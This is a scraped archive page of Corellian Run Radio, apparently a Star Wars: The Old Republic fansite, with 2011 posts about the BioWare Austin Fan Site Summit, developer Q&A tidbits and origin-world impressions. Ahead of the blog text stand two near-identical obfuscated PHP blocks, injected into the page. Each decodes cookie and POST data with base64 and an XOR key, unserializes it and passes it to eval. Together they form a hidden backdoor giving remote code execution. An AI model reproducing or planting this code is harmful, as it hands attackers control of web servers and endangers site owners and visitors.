$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Austin – Page 2 – Corellian Run Radio
May 022011

The Fansite Summit was the first time I got to play an origin world.  We were given the choice of playing either a Bounty Hunter or an Imperial Agent.  Since Carla picked the Agent, I went with the BH.

In a nutshell, I really enjoyed the game.  Playing Star Wars: The Old Republic feels like playing a major MMO, but with a much more enjoyable and engaging leveling experience.  It’s hard to convey how much  that does change the whole gameplay experience. Continue reading »

Apr 302011

CRR Gals with a Surprisingly Cheery-Looking Stephen Reid

This week Kathy, Carla, and Lethality from Ask A Jedi sit down to rehash their visit to BioWare Austin for the first ever Fan Site Summit.  We talk about what we took away from the Q & A sessions, our personal interviews, and especially how we feel about the game after playing several hours in the origin worlds and the early level Imperial flashpoint.

Check out these participating fansites for #SWTOUR coverage: Darth Hater, TOROCast, Mos Eisley Radio, Ask A Jedi, TOR-Talk, TORWars, TOR Syndicate, Gamona, InGame, SWTOR.EU, Fureur, SWTOR Life, SWTOR UK, SWTOR-FR. Continue reading »

Apr 292011

We were lucky enough to get a few minutes to sit down with Principal Lead Combat Designer Georg Zoeller.  Unfortunately, since much of the information is embargoed, we can’t post the whole interview.  Here are some highlights, though:

  • There will be a combat log players can look at out of game.
  • New playable species?  MMmmmaybe.
  • No third party add ons at release.

More highlights plus Georg’s reaction to our Yes/No/Pass game after the jump Continue reading »

Apr 292011

After lunch (all kinds of BBQ), the BioWare writing team visited us for a Q&A session.  They mostly talked about their craft, the parts of the game they’re working on, but we got some interesting tidbits:

  • There is no in-game feature for player to player marriage.
  • What about player to companion marriage?  Daniel said, “That one is still in the possibility camp.” Continue reading »
Apr 282011

Lobby, BioWare

Monday arrived, gray and drizzly, but that did little to dampen our excitement over what the day had in store.  After breakfast Carla and I gathered our things and left the hotel for BioWare.

But first, a brief recap of three conversations I had with Carla: Continue reading »

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